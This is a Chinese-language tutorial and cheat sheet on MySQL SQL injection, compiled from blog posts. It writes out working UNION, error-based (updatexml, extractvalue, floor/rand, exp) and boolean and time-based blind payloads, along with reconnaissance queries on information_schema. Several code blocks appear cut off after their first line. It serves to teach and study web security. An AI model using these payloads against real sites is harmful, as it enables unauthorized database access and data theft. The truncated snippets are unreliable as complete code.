总结来源:
https://blog.csdn.net/qq_42181428/article/details/90755280
https://blog.csdn.net/a15803617402/article/details/82890794
MySQL元数据
INFORMATION_SCHEMA是每个MySQL实例中的数据库,该实例存储有关MySQL服务器维护的所有其他数据库的信息。你只能读取该数据库内容,不能修改、增加、删除等操作。
每个MySQL用户都有权访问这些表,但只能看到表中与用户具有适当访问权限的对象相对应的行。
information_schema数据库中常见的表
| 表名 | 字段名1 | 字段名2 | 字段名3 |
|---|---|---|---|
| schemata 存放所有数据库名 | SCHEMA_NAME 数据库名 | ||
| tables 存放所有表名 | TABLE_SCHEMA 数据库名 | TABLE_NAME 表名 | |
| columns 存放所有字段名 | TABLE_SCHEMA 数据库名 | TABLE_NAME 表名 | COLUMN_NAME 字段名 |
闭合SQL拼接语句
要想进行下一步注入,首先需要闭合SQL语句,如何知道闭合符号是什么呢?可通过在参数后面加入单引号或双引号使其整条SQL拼接语句失败,从而可从数据库报错信息得知,若没有数据库报错信息,则只能Fuzz了
1 | $sql="SELECT username,passwd FROM users WHERE id={$id}"; |
检测注入点
可通过逻辑测试、算术运算等方式检测是否存在注入点
1 | 对于数值型参数来说,可进行算术运算、逻辑运算或函数 |
注入常用查询
- 获取数据库名
1 | //通过limit控制符返回指定行记录 |
- 获取表名
1 | SELECT table_name FROM information_schema.tables WHERE table_schema='DB_name' limit 1,1; |
- 获取字段名
1 | SELECT column_name FROM information_schema.columns WHERE table_schema='DB_name' AND table_name='table_name' limit 2,1; |
- 查询数据
1 | SELECT column_name FROM db_name.table_name; |
UNION注入
判断列数
1 | id=1' order by 1 %23 |
判断回显位置
1 | id=-1' UNION SELECT 1,2 %23 |
然后在可回显的位置处构造SQL语句进行注入
报错注入
- floor
1 | ?id=1 OR (SELECT 8627 FROM(SELECT COUNT(*),CONCAT(0x70307e,(SELECT user()),0x7e7030,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) |
- ExtractValue(有长度限制,最长32位)
1 | ?id=1 and extractvalue(1, concat(0x7e, (select @@version),0x7e)) |
- UpdateXml(有长度限制,最长32位)
1 | ?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) |
- Error based Double Query Injection
1 | ?id=1 or 1 group by concat_ws(0x7e,version(),floor(rand(0)*2)) having min(0) or 1 |
- exp(5.5.5以上)
1 | id=1 and (select exp(~(select * from(select user())x))) |
- polygon
1 | mysql> select * from users where username=""and polygon (password); |
盲注
常常需要写脚本来进行注入
基于布尔的盲注
对于基于布尔的盲注,可通过构造真or假判断条件(数据库各项信息取值的大小比较,如:字段长度、版本数值、字段名、字段名各组成部分在不同位置对应的字符ASCII码…),将构造的sql语句提交到服务器,然后根据服务器对不同的请求返回不同的页面结果(True、False);然后不断调整判断条件中的数值以逼近真实值,特别是需要关注响应从True<–>False发生变化的转折点。
1 | // i 用于提取每一个位,j 用于判断其对应的ASCII码值的范围。 |
基于时间的盲注
对于基于时间的盲注,通过构造真or假判断条件的sql语句,且sql语句中根据需要联合使用sleep()函数一同向服务器发送请求,观察服务器响应结果是否会执行所设置时间的延迟响应,以此来判断所构造条件的真or假(若执行sleep延迟,则表示当前设置的判断条件为真);然后不断调整判断条件中的数值以逼近真实值,最终确定具体的数值大小or名称拼写。
1 | #检测方法 |
基于报错的盲注
对于基于报错的盲注,基本是在rand()函数作为group by的字段进行联用的时候会违反Mysql的约定而报错。rand()随机不确定性,使得group by会使用多次而报错。
常用函数
查看当前数据库版本
- version()
- @@version
- @@global.version
查看当前登陆用户
- user()
- current_user()
- system_user()
- session_user()
当前使用的数据库
- database()
- schema()
路径查询
- @@basedir ——mysql安装路径
- @@slave_load_tampdir ——临时文件夹路径
- @@datadir ——数据存储路径
- @@character_sets_dir ——字符集设置文件路径
- @@log_error ——错误日志文件路径
- @@pid_file ——pid-file文件路径
字符串连接函数
- group_concat() ——返回一个字符串结果,该结果由分组中的值连接组合而成。
- group_concat([DISTINCT] 要连接的字段[Order BY ASC/DESC 排序字段] [Separator ‘分隔符’])
- concat() ——将多个字符串连接成一个字符串,CONCAT(str1,str2,…)
- concat_ws() ——有分隔符的字符串连接,CONCAT_WS(separator,str1,str2,…)
盲注常用函数
- length(str) ——返回字符串str的长度
- mid(str, start [,length]) ——从字符串str的start(从1开始)位置开始返回长的为length的部分
- substr(str, start [,length]) ——从字符串str的start(从1开始)位置开始返回长的为length的部分
- left(str, length) ——返回具有指定长度的字符串的左边部分
- ord() ——返回字符串第一个字符的 ASCII 值
- ascii() ——返回字符串第一个字符的 ASCII 值
Time-Based常用函数
- BENCHMARK(count,expr) ——重复count次执行表达式expr
- sleep(n) ——暂停数据库n秒
- if(expr1,expr2,expr3) ——如果expr1的值为true,则返回expr2的值,如果expr1的值为false,则返回expr3的值
Wrong-Based常用函数
- rand(int) ——以int为种子生成伪随机数
- floor() ——返回小于等于该值的最大整数
- count() ——统计个数
- updatexml()
updatexml()函数
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string(Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据作用: 改变文档中符合条件的节点的值
改变XML_document中符合XPATH_string的值
例如,updatexml(1,concat('~',(select database()),'~'),3);
由于updatexml()的第二个参数需要Xpath格式的字符串,以~开头的内容不是xml格式的语法,其中的concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,会将括号内的执行结果以错误的形式报出,这样就可以实现报错注入了。
其他函数
- bin() ——返回值的二进制表示
- conv(str,m,n) ——进制转换,将str从m进制转换为n进制
- lower() ——转成小写字母
- upper() ——转成大写字母
- hex() ——十六进制编码
- unhex() ——十六进制解码